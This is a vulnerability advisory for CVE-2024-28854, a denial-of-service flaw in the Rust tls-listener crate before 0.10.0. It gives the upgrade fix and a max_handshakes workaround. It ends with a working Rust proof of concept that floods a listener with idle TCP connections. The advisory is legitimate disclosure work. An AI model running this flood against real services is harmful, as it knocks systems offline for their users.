Resource Exhaustion Affecting tls-listener package, versions <0.10.0
Threat Intelligence
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-RUST-TLSLISTENER-6454370
- published17 Mar 2024
- disclosed15 Mar 2024
- creditUnknown
Introduced: 15 Mar 2024
CVE-2024-28854 (opens in a new tab)How to fix?
Upgrade tls-listener to version 0.10.0 or higher.
Overview
Affected versions of this package are vulnerable to Resource Exhaustion due to the default configuration options in the TlsListener::new() function. A malicious user can exploit this by opening multiple TcpStreams a second, sending 0 bytes, to trigger a denial of service.
Workaround
This vulnerability can be mitigated by passing a large value, such as usize::MAX, as the parameter to Builder::max_handshakes.
PoC
use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};
#[tokio::main]
async fn main() {
const N: usize = 1024;
const T: Duration = Duration::from_secs(10);
let url = "127.0.0.1:3000";
let sockets: Vec<_> = url
.to_socket_addrs()
.unwrap()
.inspect(|s| println!("{s:?}"))
.collect();
let mut js = JoinSet::new();
let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
for _ in 0..10000 {
for &socket in &sockets {
int.tick().await;
js.spawn(async move {
let mut stream = TcpStream::connect(socket).await.unwrap();
let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
});
}
}
while js.join_next().await.is_some() {}
}